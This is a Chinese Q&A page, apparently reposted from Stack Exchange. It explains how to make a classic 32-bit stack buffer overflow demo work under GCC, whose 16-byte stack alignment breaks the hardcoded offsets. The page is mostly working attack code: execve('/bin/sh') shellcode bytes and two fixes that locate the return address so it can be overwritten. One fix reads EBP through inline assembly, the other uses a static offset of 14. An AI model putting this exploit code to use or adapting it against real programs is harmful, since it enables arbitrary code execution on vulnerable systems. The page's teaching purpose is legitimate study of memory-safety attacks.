缓冲区溢出攻击代码Clang编译生效GCC无效,求代码层面修复方案
无需编译选项,仅修改代码修复GCC栈对齐导致的缓冲区溢出失效问题
可以仅通过修改代码适配GCC的栈对齐规则,不用依赖-mpreferred-stack-boundary=2选项。
问题根源
GCC 32位环境下默认栈对齐边界为16字节(对应-mpreferred-stack-boundary=4),会在buffer与EBP之间插入对齐填充字节,导致原代码中硬编码的返回地址覆盖位置与实际栈布局不匹配,无法触发shellcode;而Clang的栈对齐策略更宽松,因此原代码可正常运行。
修改方案(动态计算栈偏移,通用性强)
通过内联汇编获取当前EBP寄存器的值,计算返回地址相对于buffer的偏移量,精准定位需要覆盖的位置,避免依赖固定栈布局:
#include <string.h> char shellcode[] = "\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh "; char large_string[128]; void main() { char buffer[48]; int i; long *long_ptr = (long *) large_string; long ebp; // 内联汇编获取当前栈帧基地址EBP __asm__("movl %%ebp, %0" : "=r"(ebp)); // 计算返回地址相对于buffer的偏移:返回地址在EBP+4位置 int ret_offset = (ebp - (long)buffer + 4) / sizeof(long); // 从返回地址偏移位置开始,填充buffer的地址(shellcode入口) for(i = ret_offset; i < 32; ++i) long_ptr[i] = (long)buffer; // 将shellcode复制到large_string开头 for(i = 0; i < strlen(shellcode); i++){ large_string[i] = shellcode[i]; } strcpy(buffer, large_string); }
方案说明
- 内联汇编直接读取EBP寄存器,获取当前栈帧的基地址;
- 通过EBP与
buffer的地址差,计算出返回地址相对于buffer的偏移量,转换为long类型的索引; - 从该索引位置开始填充
buffer的地址(shellcode被复制到buffer起始位置,因此buffer地址就是shellcode的执行入口); - 无论GCC插入多少对齐填充字节,都能精准覆盖返回地址,触发缓冲区溢出执行shellcode。
替代方案(静态调整偏移,仅适配当前环境)
如果不想用内联汇编,也可以根据GCC的对齐规则静态调整填充起始位置。32位GCC默认会给48字节的buffer添加4字节对齐填充,返回地址的偏移为48 + 4(填充) + 4(EBP)= 56字节,对应14个long类型索引,修改循环起始值即可:
// 替换原填充循环 for(i = 14; i < 32; ++i) long_ptr[i] = (long)buffer;
注意:该方案仅适配当前编译环境,若GCC版本或编译选项变化可能失效,动态计算偏移的方案通用性更强。
内容的提问来源于stack exchange,提问作者michael101
相关产品推荐
相关产品推荐

